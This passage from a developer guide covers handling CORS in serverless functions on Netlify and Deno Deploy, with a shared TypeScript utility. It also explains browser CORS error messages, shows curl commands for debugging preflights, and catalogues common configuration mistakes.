// netlify/functions/data.ts
import type { Handler, HandlerEvent, HandlerContext } from '@netlify/functions';

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://staging.example.com',
]);

function corsHeaders(event: HandlerEvent): Record<string, string> {
  const origin = event.headers.origin || event.headers.Origin || '';

  if (!ALLOWED_ORIGINS.has(origin)) {
    return {};
  }

  return {
    'Access-Control-Allow-Origin': origin,
    'Access-Control-Allow-Credentials': 'true',
    'Vary': 'Origin',
  };
}

const handler: Handler = async (event: HandlerEvent, context: HandlerContext) => {
  const cors = corsHeaders(event);

  // Handle preflight
  if (event.httpMethod === 'OPTIONS') {
    return {
      statusCode: 204,
      headers: {
        ...cors,
        'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS',
        'Access-Control-Allow-Headers': 'Content-Type, Authorization',
        'Access-Control-Max-Age': '86400',
      },
      body: '',
    };
  }

  try {
    return {
      statusCode: 200,
      headers: {
        'Content-Type': 'application/json',
        ...cors,
      },
      body: JSON.stringify({ message: 'hello from Netlify' }),
    };
  } catch (err) {
    return {
      statusCode: 500,
      headers: {
        'Content-Type': 'application/json',
        ...cors,
      },
      body: JSON.stringify({ error: 'internal error' }),
    };
  }
};

export { handler };

Netlify gotcha: Netlify's _headers file and function-level headers can conflict. If you set CORS headers in both places, you may get duplicates. Pick one.


Deno Deploy

Deno Deploy runs your code at the edge, similar to CloudFlare Workers. CORS handling is entirely in your code:

const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://staging.example.com',
]);

function corsHeaders(request: Request): Headers {
  const origin = request.headers.get('Origin') || '';
  const headers = new Headers();

  if (ALLOWED_ORIGINS.has(origin)) {
    headers.set('Access-Control-Allow-Origin', origin);
    headers.set('Access-Control-Allow-Credentials', 'true');
    headers.set('Vary', 'Origin');
  }

  return headers;
}

Deno.serve(async (request: Request) => {
  const origin = request.headers.get('Origin') || '';

  // Handle preflight
  if (request.method === 'OPTIONS' && ALLOWED_ORIGINS.has(origin)) {
    return new Response(null, {
      status: 204,
      headers: {
        'Access-Control-Allow-Origin': origin,
        'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, OPTIONS',
        'Access-Control-Allow-Headers': 'Content-Type, Authorization',
        'Access-Control-Allow-Credentials': 'true',
        'Access-Control-Max-Age': '86400',
        'Vary': 'Origin',
      },
    });
  }

  const cors = corsHeaders(request);

  const url = new URL(request.url);

  if (url.pathname === '/api/data') {
    const body = JSON.stringify({ message: 'hello from Deno Deploy' });
    cors.set('Content-Type', 'application/json');
    return new Response(body, { headers: cors });
  }

  cors.set('Content-Type', 'application/json');
  return new Response(
    JSON.stringify({ error: 'not found' }),
    { status: 404, headers: cors }
  );
});

If you're using the Fresh framework on Deno Deploy, you can create a middleware:

// routes/_middleware.ts
import { FreshContext } from "$fresh/server.ts";

const ALLOWED_ORIGINS = new Set([
  "https://app.example.com",
  "https://staging.example.com",
]);

export async function handler(req: Request, ctx: FreshContext) {
  const origin = req.headers.get("Origin") || "";
  const isAllowed = ALLOWED_ORIGINS.has(origin);

  // Handle preflight
  if (req.method === "OPTIONS" && isAllowed) {
    return new Response(null, {
      status: 204,
      headers: {
        "Access-Control-Allow-Origin": origin,
        "Access-Control-Allow-Methods": "GET, POST, PUT, DELETE, OPTIONS",
        "Access-Control-Allow-Headers": "Content-Type, Authorization",
        "Access-Control-Allow-Credentials": "true",
        "Access-Control-Max-Age": "86400",
        "Vary": "Origin",
      },
    });
  }

  const response = await ctx.next();

  if (isAllowed) {
    response.headers.set("Access-Control-Allow-Origin", origin);
    response.headers.set("Access-Control-Allow-Credentials", "true");
    response.headers.set("Vary", "Origin");
  }

  return response;
}

The Shared CORS Utility Pattern

You've probably noticed that every platform section above has the same boilerplate: check the origin, build headers, handle OPTIONS, spread headers into every response. This is the serverless CORS tax — without middleware, you repeat yourself.

The fix is a shared utility. Here's a TypeScript version that works across CloudFlare Workers, Vercel Edge Functions, Deno Deploy, and anywhere else that uses the Request/Response Web API:

// cors.ts

export interface CorsConfig {
  allowedOrigins: Set<string> | '*';
  allowedMethods?: string[];
  allowedHeaders?: string[];
  exposedHeaders?: string[];
  allowCredentials?: boolean;
  maxAge?: number;
}

const DEFAULT_CONFIG: Required<CorsConfig> = {
  allowedOrigins: new Set<string>(),
  allowedMethods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  exposedHeaders: [],
  allowCredentials: false,
  maxAge: 86400,
};

export function createCorsHandler(userConfig: CorsConfig) {
  const config = { ...DEFAULT_CONFIG, ...userConfig };

  function isOriginAllowed(origin: string): boolean {
    if (config.allowedOrigins === '*') return true;
    return config.allowedOrigins.has(origin);
  }

  function getCorsHeaders(request: Request): Record<string, string> {
    const origin = request.headers.get('Origin') || '';

    if (!isOriginAllowed(origin)) {
      return {};
    }

    const headers: Record<string, string> = {
      'Access-Control-Allow-Origin': config.allowedOrigins === '*' ? '*' : origin,
      'Vary': 'Origin',
    };

    if (config.allowCredentials) {
      headers['Access-Control-Allow-Credentials'] = 'true';
    }

    if (config.exposedHeaders.length > 0) {
      headers['Access-Control-Expose-Headers'] = config.exposedHeaders.join(', ');
    }

    return headers;
  }

  function handlePreflight(request: Request): Response | null {
    if (request.method !== 'OPTIONS') return null;

    const origin = request.headers.get('Origin') || '';

    if (!isOriginAllowed(origin)) {
      return new Response(null, { status: 403 });
    }

    return new Response(null, {
      status: 204,
      headers: {
        ...getCorsHeaders(request),
        'Access-Control-Allow-Methods': config.allowedMethods.join(', '),
        'Access-Control-Allow-Headers': config.allowedHeaders.join(', '),
        'Access-Control-Max-Age': String(config.maxAge),
      },
    });
  }

  function wrapResponse(request: Request, response: Response): Response {
    const corsHeaders = getCorsHeaders(request);
    const newResponse = new Response(response.body, response);

    for (const [key, value] of Object.entries(corsHeaders)) {
      newResponse.headers.set(key, value);
    }

    return newResponse;
  }

  return { getCorsHeaders, handlePreflight, wrapResponse };
}

Usage in any platform:

import { createCorsHandler } from './cors';

const cors = createCorsHandler({
  allowedOrigins: new Set(['https://app.example.com', 'https://staging.example.com']),
  allowCredentials: true,
  exposedHeaders: ['X-Request-ID'],
});

// In your handler:
export default async function handler(request: Request): Promise<Response> {
  // One-liner preflight handling
  const preflight = cors.handlePreflight(request);
  if (preflight) return preflight;

  // Your logic
  const data = { message: 'hello' };
  const response = new Response(JSON.stringify(data), {
    headers: { 'Content-Type': 'application/json' },
  });

  // One-liner CORS wrapping
  return cors.wrapResponse(request, response);
}

That's three lines of CORS code in your handler. The rest lives in a shared module. Every new function gets CORS support by importing the utility and adding those three lines. Is it as clean as express middleware? No. But it's the best we've got in serverless-land.


OPTIONS Handling: The Serverless Trap

In a traditional server with middleware, OPTIONS requests are handled automatically by the CORS middleware. The request never reaches your route handler. In serverless, there are three places OPTIONS can be handled:

  1. Infrastructure level (API Gateway, Vercel config, Netlify _headers) — the platform responds to OPTIONS before your function runs.
  2. Function level — your function checks for OPTIONS and returns early.
  3. Nowhere — and you get a CORS error.

Option 3 is distressingly common. Here's what happens: a developer writes a serverless function that handles GET and POST. The browser sends a preflight OPTIONS request. The function doesn't handle OPTIONS, so the platform returns a 405 Method Not Allowed (or worse, a 404). That response has no CORS headers. The browser blocks the actual request. The developer stares at DevTools and sees:

Access to XMLHttpRequest at 'https://api.example.com/data'
from origin 'https://app.example.com' has been blocked by CORS policy:
Response to preflight request doesn't pass access control check:
No 'Access-Control-Allow-Origin' header is present on the requested resource.

The fix: Always handle OPTIONS. In every function. No exceptions. If you're using the shared utility pattern above, it's one line. If you're not, it's still only a few lines. There is no excuse for skipping this.

# Test that OPTIONS is handled
curl -v -X OPTIONS \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type" \
  https://your-function-url.example.com/api/data

# You should see:
# < HTTP/2 204
# < access-control-allow-origin: https://app.example.com
# < access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
# < access-control-allow-headers: Content-Type, Authorization

# If you see 404, 405, or 403 without CORS headers, your function
# is not handling OPTIONS. Fix it before anything else.

Platform Comparison

FeatureAPI GW v1 (REST)API GW v2 (HTTP)Lambda URLCF WorkersVercelNetlifyDeno Deploy
Built-in CORS configPartialYesYesNoStatic onlyStatic onlyNo
Auto preflight handlingWith setupYesYesNoNoNoNo
Dynamic originsIn LambdaNoNoIn codeIn codeIn codeIn code
Credentials supportIn LambdaYesYesIn codeIn codeIn codeIn code
CORS on errorsNoYesYesIn codeIn codeIn codeIn code
IaC supportCDK/TF/SAMCDK/TF/SAMCDK/TFWranglervercel.jsonnetlify.toml

The pattern is clear: the more managed the platform, the less code you write — but the less control you have. CloudFlare Workers gives you total control. API Gateway v2 gives you a checkbox. Choose based on how complex your CORS requirements are.


Summary

Serverless CORS boils down to three rules:

  1. Handle OPTIONS explicitly. In every function. Test it with curl. If your platform handles preflight for you (API Gateway v2, Lambda URLs), verify it actually works by testing with curl — don't trust the documentation alone.

  2. Include CORS headers on every response. Success, error, 404, 500 — every single response needs CORS headers. In serverless, there's no middleware safety net. Extract a shared utility and use it everywhere.

  3. Don't configure CORS in two places. If the platform handles CORS, don't also handle it in your function. If your function handles CORS, don't also configure it in the platform. Duplicate headers will ruin your day.

Follow these three rules and you'll spend your on-call shifts dealing with actual outages instead of CORS errors. Which is, admittedly, still not great — but at least it's a different kind of misery.

Reading CORS Errors Like a Human

Here's a fun fact: CORS error messages are written by browser engineers who understand the spec perfectly and assume you do too. They are technically accurate. They are also, for most developers, about as helpful as a compiler error in Haskell when you're used to Python.

Let's fix that. By the end of this chapter, you'll be able to look at a CORS error message, understand exactly what went wrong, and know which header to add (or fix) on your server. No more cargo-culting Access-Control-Allow-Origin: * and hoping for the best.

The Anatomy of a CORS Error

Before we decode specific messages, let's understand what all CORS errors have in common. Every single one follows this pattern:

  1. Your JavaScript made a cross-origin request (via fetch(), XMLHttpRequest, a font load, etc.)
  2. The browser sent the request (or a preflight OPTIONS request)
  3. The server responded
  4. The browser looked at the response headers and decided your JavaScript isn't allowed to see the response
  5. The browser blocked access and logged an error to the console

Step 3 is the one that trips people up. The server received the request and sent a response. The response is sitting right there in the Network tab. The browser just won't let your JavaScript read it. This is not a network error. This is not a server error. This is the browser doing its job.

Chrome's Error Messages

Chrome's CORS errors all start with the same prefix, which you've probably memorized by now:

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy:

Everything after that colon is where the actual diagnosis lives. Let's go through each one.

"No 'Access-Control-Allow-Origin' header is present on the requested resource"

The full message:

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present
on the requested resource.

What it means: Your server responded, but the response did not include an Access-Control-Allow-Origin header. At all. Not with the wrong value — with no value. The header is simply missing.

Common causes:

  • Your server doesn't have any CORS configuration whatsoever
  • Your server only adds CORS headers on certain routes and you're hitting a different one
  • Your server adds CORS headers on success responses (200) but not on error responses (see Chapter 20, Mistake #4)
  • A reverse proxy or CDN is stripping the header
  • Your server is returning a redirect, and the redirect destination doesn't have CORS headers

How to verify: Open the Network tab in DevTools. Click on the failed request. Look at the Response Headers. Search for Access-Control-Allow-Origin. If it's not there, that's your problem.

# Reproduce with curl to see exactly what headers the server returns
curl -v -H "Origin: https://myapp.com" https://api.example.com/data 2>&1 | grep -i "access-control"

If that curl command produces no output, your server isn't setting CORS headers at all.

"Response to preflight request doesn't pass access control check"

The full message comes in a few flavors:

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: Response to preflight request doesn't pass access
control check: No 'Access-Control-Allow-Origin' header is present on the requested
resource.

Or:

...Response to preflight request doesn't pass access control check: It does not
have HTTP ok status.

What it means: The browser sent an OPTIONS preflight request before your actual request, and the preflight response was the problem. Either:

  1. The OPTIONS response didn't include Access-Control-Allow-Origin
  2. The OPTIONS response had a non-2xx status code (your server returned 404 or 405 for OPTIONS requests)

How to verify: In the Network tab, look for an OPTIONS request to the same URL. It should appear before your actual GET/POST/PUT request. If it's not there, the browser didn't send one (meaning the issue is with the actual request, not preflight).

# Simulate a preflight request
curl -v -X OPTIONS \
  -H "Origin: https://myapp.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization" \
  https://api.example.com/data

# You should see:
# < HTTP/2 204
# < access-control-allow-origin: https://myapp.com
# < access-control-allow-methods: GET, POST, PUT, DELETE
# < access-control-allow-headers: Content-Type, Authorization

If your server returns 405 Method Not Allowed for OPTIONS, that's your problem. Many frameworks don't handle OPTIONS out of the box. You need to add a route or middleware for it.

"The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when the request's credentials mode is 'include'"

This one's a mouthful, but at least it's specific:

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin'
header in the response must not be the wildcard '*' when the request's credentials
mode is 'include'.

What it means: You asked to send credentials (cookies, HTTP auth, client certs) with a cross-origin request, and the server responded with Access-Control-Allow-Origin: *. The spec explicitly forbids this combination. When credentials are involved, the server must respond with the specific origin, not the wildcard.

Your code probably looks like this:

fetch('https://api.example.com/data', {
  credentials: 'include'  // <-- This is the trigger
});

The fix on the server: Replace Access-Control-Allow-Origin: * with the actual requesting origin:

Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Credentials: true
Vary: Origin

All three of those headers matter. Miss any one and you'll get a different error.

"Method PUT is not allowed by Access-Control-Allow-Methods"

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: Method PUT is not allowed by
Access-Control-Allow-Methods in preflight response.

What it means: The browser sent a preflight asking "can I use PUT?" and the server's Access-Control-Allow-Methods header didn't include PUT.

How to verify:

curl -v -X OPTIONS \
  -H "Origin: https://myapp.com" \
  -H "Access-Control-Request-Method: PUT" \
  https://api.example.com/data 2>&1 | grep -i "access-control-allow-methods"

# If you see:
# < access-control-allow-methods: GET, POST
# That's the problem — PUT isn't listed.

The fix: Add the method to Access-Control-Allow-Methods in your preflight response. Remember that GET, HEAD, and POST are "simple" methods that don't need to be explicitly listed for non-preflight requests, but if a preflight fires for other reasons (custom headers, non-simple content type), then even POST needs to be in the list.

"Request header field X-Custom is not allowed by Access-Control-Allow-Headers"

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: Request header field x-custom-header is not allowed
by Access-Control-Allow-Headers in preflight response.

What it means: Your request includes a header that the server didn't explicitly allow in Access-Control-Allow-Headers.

This is extremely common with Authorization headers, custom headers like X-Request-ID, and Content-Type when set to application/json (which triggers a preflight because it's not one of the "simple" content types).

curl -v -X OPTIONS \
  -H "Origin: https://myapp.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Authorization, Content-Type, X-Custom-Header" \
  https://api.example.com/data 2>&1 | grep -i "access-control-allow-headers"

# If you see:
# < access-control-allow-headers: Content-Type
# Then Authorization and X-Custom-Header are not allowed. Add them.

The fix: Add every custom header your client sends to the Access-Control-Allow-Headers response header. Be explicit. Being too restrictive here is the single most common source of CORS errors in my experience.

Firefox's Error Messages

Firefox takes a different approach. The errors appear in the console but are often accompanied by a link to MDN documentation, which is genuinely helpful. Firefox also tends to be more specific about what failed.

"CORS header 'Access-Control-Allow-Origin' missing"

Firefox's equivalent of Chrome's "No 'Access-Control-Allow-Origin' header" message. Same cause, same fix. But Firefox adds:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote
resource at https://api.example.com/data. (Reason: CORS header
'Access-Control-Allow-Origin' missing). [Learn More]

That "Learn More" link goes to MDN. Click it. Seriously. The MDN CORS error pages are some of the best technical documentation on the web.

"CORS request did not succeed"

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote
resource at https://api.example.com/data. (Reason: CORS request did not succeed).

This one is Firefox's catch-all for "the request itself failed at the network level." It means the request never completed — the server might be down, the URL might be wrong, there's a DNS failure, or a firewall is blocking the connection. This is not actually a CORS error; it's a network error that Firefox wraps in CORS-like language.

How to tell the difference: If you see this message and there's no response at all in the Network tab (not even a status code), it's a network problem, not CORS.

"CORS header 'Access-Control-Allow-Origin' does not match"

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote
resource at https://api.example.com/data. (Reason: CORS header
'Access-Control-Allow-Origin' does not match 'https://myapp.com').

Firefox tells you the origin that didn't match. Chrome... does not. This is one of those cases where Firefox's error is genuinely more helpful. The server sent an Access-Control-Allow-Origin header, but it contained a different origin than the one making the request.

"CORS preflight channel did not succeed"

Same as "CORS request did not succeed" but specifically for the OPTIONS preflight. Your server is probably not handling OPTIONS requests, or it's returning an error status code for them.

"CORS missing allow header"

Reason: missing token 'authorization' in CORS header 'Access-Control-Allow-Headers'
from CORS preflight channel.

Firefox names the specific missing header token. Chrome will say "Request header field authorization is not allowed" but Firefox tells you it's specifically missing from Access-Control-Allow-Headers. Same fix, slightly more helpful phrasing.

Safari's Error Messages

Oh, Safari. Where do I begin.

Safari's CORS error messages are... minimalist. Safari has historically treated CORS errors as security-sensitive information and has been reluctant to provide details that might help an attacker understand the server's CORS configuration. This is a defensible position from a security standpoint and an infuriating position from a debugging standpoint.

What you'll typically see

Origin https://myapp.com is not allowed by Access-Control-Allow-Origin.

That's it. That's the whole error. No explanation of whether this was a preflight issue, a header mismatch, or a credentials problem. Just... "not allowed."

Or sometimes:

XMLHttpRequest cannot load https://api.example.com/data due to access control checks.

Even less helpful. "Access control checks" could mean literally any CORS failure.

"Preflight response is not successful"

Preflight response is not successful

No URL. No origin. No indication of what about the preflight was unsuccessful. You'll need to open the Network tab and look at the OPTIONS request yourself.

Safari's Network tab quirk

Here's something that will burn you: Safari sometimes doesn't show preflight OPTIONS requests in the Network tab unless you have "Instruments" or the experimental networking features enabled. Go to Develop > Experimental Features and make sure resource tracking is fully enabled.

Also, Safari may cache preflight responses more aggressively than other browsers. If you're seeing stale CORS behavior in Safari but not Chrome, clear the cache. Not just the page cache — the full browser cache.

My recommendation for Safari debugging

Debug CORS issues in Chrome or Firefox first. Their error messages and DevTools are significantly better for this. Once you've fixed the issue there, test in Safari to make sure it works. If it works in Chrome but not Safari, the most common causes are:

  1. Safari's stricter cookie handling (SameSite, third-party cookie blocking)
  2. Safari's Intelligent Tracking Prevention interfering with credentialed requests
  3. A cached preflight that Safari won't let go of

DevTools Network Tab: Your Best Friend

Let's walk through exactly how to use the Network tab to diagnose a CORS error.

Step 1: Reproduce the error

Open DevTools before triggering the request. The Network tab only captures requests that happen while it's open.

Step 2: Find the preflight (if any)

Look for an OPTIONS request to the same URL as your failing request. In Chrome, you can filter by method: type method:OPTIONS in the filter bar.

If there's no preflight, your request is a "simple" request (or would have been, but failed for other reasons). If there is a preflight, click on it first.

Step 3: Inspect the preflight response headers

For the OPTIONS request, look at:

  • Status code: Should be 200 or 204. A 404, 405, or 500 means your server doesn't handle OPTIONS.
  • Access-Control-Allow-Origin: Should match your origin or be *.
  • Access-Control-Allow-Methods: Should include the method you're trying to use.
  • Access-Control-Allow-Headers: Should include every custom header your request sends.
  • Access-Control-Max-Age: If present, tells you how long this preflight is cached.

Step 4: Inspect the actual request's response headers

Now click on the actual request (GET, POST, PUT, etc.):

  • Access-Control-Allow-Origin: Must be present here too, not just on the preflight.
  • Access-Control-Allow-Credentials: Must be true if you're sending credentials.
  • Access-Control-Expose-Headers: If you're trying to read custom response headers in JavaScript and getting undefined, check this.

Step 5: The response IS there

Here's the thing that confuses everyone. Click on the failing request. Click the "Response" tab. You might see the actual response body. The server sent it. The data is right there. But your JavaScript can't access it.

This is by design. The browser downloaded the response to check the CORS headers. When the headers didn't pass the check, the browser refused to expose the response to your JavaScript. The data exists in the browser's memory. It just won't give it to your script.

This is why "the request works in Postman" is not a contradiction. Postman isn't a browser. It doesn't enforce CORS. Neither does curl, neither does your server-side HTTP client. Only browsers enforce CORS, because only browsers need to protect users from malicious scripts.

curl Debugging: Reproducing Requests Outside the Browser

curl is your single best tool for debugging CORS, because it lets you simulate exactly what the browser is doing without the browser getting in the way.

Simulating a simple cross-origin request

curl -v \
  -H "Origin: https://myapp.com" \
  https://api.example.com/data

Look at the response headers. Is Access-Control-Allow-Origin present? Does it match your origin?

Simulating a preflight

curl -v -X OPTIONS \
  -H "Origin: https://myapp.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization" \
  https://api.example.com/data

This sends exactly what the browser sends during a preflight. Check:

  • Does the response have a 2xx status?
  • Does Access-Control-Allow-Origin match?
  • Does Access-Control-Allow-Methods include your method?
  • Does Access-Control-Allow-Headers include all your headers?

Simulating a credentialed request

curl -v \
  -H "Origin: https://myapp.com" \
  -H "Cookie: session=abc123" \
  https://api.example.com/data

Check that the response includes both Access-Control-Allow-Origin: https://myapp.com (not *) and Access-Control-Allow-Credentials: true.

A complete debugging session

Here's what a real debugging session looks like:

$ curl -v -X OPTIONS \
  -H "Origin: https://myapp.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Authorization, Content-Type" \
  https://api.example.com/users/42 2>&1

> OPTIONS /users/42 HTTP/2
> Host: api.example.com
> Origin: https://myapp.com
> Access-Control-Request-Method: PUT
> Access-Control-Request-Headers: Authorization, Content-Type
>
< HTTP/2 200
< access-control-allow-origin: https://myapp.com
< access-control-allow-methods: GET, POST
< access-control-allow-headers: Content-Type
< vary: Origin
<

# Found it! Two problems:
# 1. PUT is not in Access-Control-Allow-Methods
# 2. Authorization is not in Access-Control-Allow-Headers

A Decision Tree for Diagnosing CORS Errors

When you hit a CORS error, walk through this tree:

1. Is there an OPTIONS request in the Network tab?

  • Yes → Go to step 2
  • No → This is a simple request. Go to step 4.

2. What's the OPTIONS response status code?

  • 404 or 405 → Your server doesn't handle OPTIONS for this route. Add an OPTIONS handler.
  • 500 → Your server crashed handling OPTIONS. Check server logs.
  • 200 or 204 → Go to step 3.

3. Inspect the preflight response headers:

  • Missing Access-Control-Allow-Origin? → Add it to your OPTIONS response.
  • Access-Control-Allow-Origin doesn't match your origin? → Fix the origin value.
  • Access-Control-Allow-Methods missing your method? → Add the method.
  • Access-Control-Allow-Headers missing a header you're sending? → Add the header.
  • Using * but also sending credentials? → Switch to echoing the specific origin.

4. Inspect the actual response headers:

  • Missing Access-Control-Allow-Origin? → Add it to ALL responses, not just OPTIONS.
  • Origin mismatch? → Check for typos (trailing slashes, wrong scheme, wrong port).
  • Using * with credentials? → Echo the specific origin and add Access-Control-Allow-Credentials: true.

5. Is the response a redirect (3xx)?

  • CORS and redirects have complex interactions. The preflight must not redirect. The actual request can redirect, but the redirect target must also have valid CORS headers.

6. Still stuck?

  • Check for duplicate Access-Control-Allow-Origin headers (proxy adding one, app adding another).
  • Check your Vary header — missing Vary: Origin can cause caching issues.
  • Check if your error responses (4xx, 5xx) also include CORS headers.
  • Try an incognito window to rule out extensions or cached preflights.
  • Read Chapter 20. Your specific mistake is probably in there.

Common Mistakes and How to Fix Them

I've been fixing CORS issues — my own and other people's — for the better part of a decade. The same mistakes come up over and over. Not because developers are bad at their jobs, but because CORS is a system with a lot of interacting parts and the feedback you get when something is wrong (a cryptic browser console error) rarely points directly at the root cause.

This chapter is a catalog. Find your symptom, read the cause, apply the fix. If you want to understand why CORS works this way, the earlier chapters have the theory. This chapter is for when it's 4 PM on a Friday and production is broken.

Mistake #1: Missing Access-Control-Allow-Origin Header Entirely

The symptom:

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present
on the requested resource.

The cause: Your server simply isn't sending the Access-Control-Allow-Origin header. This is the most basic CORS issue — you haven't configured CORS at all, or your CORS middleware isn't running for this particular route.

The fix: Add the header to your server's responses.

Access-Control-Allow-Origin: https://myapp.com

Or, if this is a public API:

Access-Control-Allow-Origin: *

Why it happens: New APIs often don't think about CORS until a frontend tries to call them from the browser. You tested with curl or Postman, everything worked, and then the browser said no. CORS headers are opt-in. If you don't add them, cross-origin requests are blocked by default. That's the entire point of the Same-Origin Policy.

Mistake #2: Using * with Credentials

The symptom:

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin'
header in the response must not be the wildcard '*' when the request's credentials
mode is 'include'.

The cause: Your frontend is sending credentials: 'include' (or withCredentials = true for XHR), and your server is responding with Access-Control-Allow-Origin: *. The spec forbids this combination.

The fix: On the server, instead of *, echo back the specific origin from the request:

# Pseudocode — adapt to your framework
origin = request.headers.get('Origin')
if origin in allowed_origins:
    response.headers['Access-Control-Allow-Origin'] = origin
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    response.headers['Vary'] = 'Origin'

Why it happens: The wildcard * means "any origin can read this response." But when credentials are involved, the browser needs the server to explicitly confirm that this specific origin is allowed to make credentialed requests. A wildcard is too broad — it would mean any site on the internet could make authenticated requests to your API using your user's cookies. The spec authors decided that's a bad idea (they were right) and prohibited it.

Note: you also can't use * for Access-Control-Allow-Headers or Access-Control-Allow-Methods when credentials are included. The same rule applies to all three.

Mistake #3: Not Handling OPTIONS/Preflight Requests

The symptom:

Access to fetch at 'https://api.example.com/data' from origin 'https://myapp.com'
has been blocked by CORS policy: Response to preflight request doesn't pass access
control check: It does not have HTTP ok status.

In the Network tab, you'll see an OPTIONS request with a 404 or 405 status.

The cause: The browser sends an OPTIONS request before certain cross-origin requests (those with custom headers, non-simple methods, or non-simple content types). Your server doesn't have a handler for OPTIONS and returns an error.

The fix: Handle OPTIONS requests for your CORS-enabled routes. Most CORS middleware does this for you, but if you're configuring it manually:

# What the browser sends:
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://myapp.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization, Content-Type

# What your server should respond:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400

Why it happens: Most routing frameworks only create handlers for the methods you explicitly register (GET, POST, PUT, etc.). Nobody writes app.options('/api/data', ...) because it's not part of your API's business logic. CORS middleware adds these handlers automatically, but if the middleware isn't installed, or isn't applied to this route, OPTIONS falls through to a 404 or the framework's default 405 response.

Mistake #4: Adding CORS Headers Only to Success Responses

The symptom: CORS works fine when the API returns 200, but when the API returns 400, 401, 403, or 500, you get a CORS error in the browser instead of the actual error.

The cause: Your CORS middleware or configuration only runs on successful responses. When the server returns an error, it bypasses the CORS middleware, and the response goes out without Access-Control-Allow-Origin.

The fix: Ensure your CORS headers are added to every response, regardless of status code. In most frameworks, this means making sure CORS middleware runs before your route handlers and wraps the entire response pipeline.

// Express — WRONG: CORS middleware after auth
app.use(authMiddleware);  // might return 401 before CORS runs
app.use(cors());

// Express — RIGHT: CORS middleware before everything
app.use(cors());
app.use(authMiddleware);
# Nginx — add headers in the server/location block, not just for 200
add_header 'Access-Control-Allow-Origin' 'https://myapp.com' always;
#                                                               ^^^^^^
# The 'always' parameter makes Nginx add the header even on error responses

Why it happens: This is the sneakiest CORS issue because it's intermittent. Your API works perfectly in development (where most responses are 200) and then breaks in production the first time a user hits a validation error or their session expires. The error response is there, with a perfectly good JSON body explaining what went wrong, but the browser can't show it to your JavaScript because the CORS header is missing.

Your frontend error handler gets a CORS error instead of a 401, so it can't show "Please log in again." It shows a generic network error instead. Your users are confused. You are confused. Everyone is confused.

Mistake #5: Duplicate CORS Headers

The symptom:

The 'Access-Control-Allow-Origin' header contains multiple values
'https://myapp.com, https://myapp.com', but only one is allowed.

Or sometimes the response contains two different origins:

Access-Control-Allow-Origin: https://myapp.com
Access-Control-Allow-Origin: *

The cause: Two layers of your stack are both adding CORS headers. Common culprits:

  • Nginx adds CORS headers and your application adds CORS headers
  • An API gateway adds CORS headers and your backend adds CORS headers
  • A CDN (CloudFront, Cloudflare) adds CORS headers and your origin server adds them

The fix: Pick one layer to handle CORS and remove it from the other. My recommendation: handle CORS at the application level, because it has the most context about which origins should be allowed and which endpoints need credentials. But if you're using a managed API gateway, it might make more sense to configure CORS there.

# Debug with curl to see both headers:
curl -v -H "Origin: https://myapp.com" https://api.example.com/data 2>&1 | grep -i "access-control-allow-origin"

# If you see the header twice, that's the problem:
# < access-control-allow-origin: https://myapp.com
# < access-control-allow-origin: https://myapp.com

Why it happens: Because CORS is often an afterthought bolted on after deployment, multiple teams might add it at their layer without knowing someone else already did. DevOps adds it to Nginx. The backend team adds it to Express. Both are doing the right thing individually. Together, they're producing an invalid response.

Mistake #6: Not Including Vary: Origin

The symptom: CORS works from https://app1.example.com but breaks from https://app2.example.com, or vice versa, seemingly at random. Clear the cache and it works again, then breaks for the other origin.

The cause: Your server echoes back the request's Origin header as the value of Access-Control-Allow-Origin, but doesn't include Vary: Origin in the response. This means caches (CDNs, browser cache, proxy caches) might serve a response with Access-Control-Allow-Origin: https://app1.example.com to a request from https://app2.example.com.

The fix:

Access-Control-Allow-Origin: https://app1.example.com
Vary: Origin

Always. Every time. If you dynamically set Access-Control-Allow-Origin based on the request's Origin header, you must include Vary: Origin.

Why it happens: HTTP caching is based on the URL by default. A cache sees a request for https://api.example.com/data and thinks "I have a cached response for that!" But the cached response has Access-Control-Allow-Origin: https://app1.example.com, and the new request is from app2. The Vary header tells caches "this response varies depending on the Origin request header, so you need to store separate cached copies for each origin."

You might be thinking "but I don't have a CDN." Your browser has a cache too. This can bite you locally.

Mistake #7: Typos in Allowed Origins

The symptom: CORS doesn't work. You check the server config. The origin is right there in the allowed list. But it's not working.

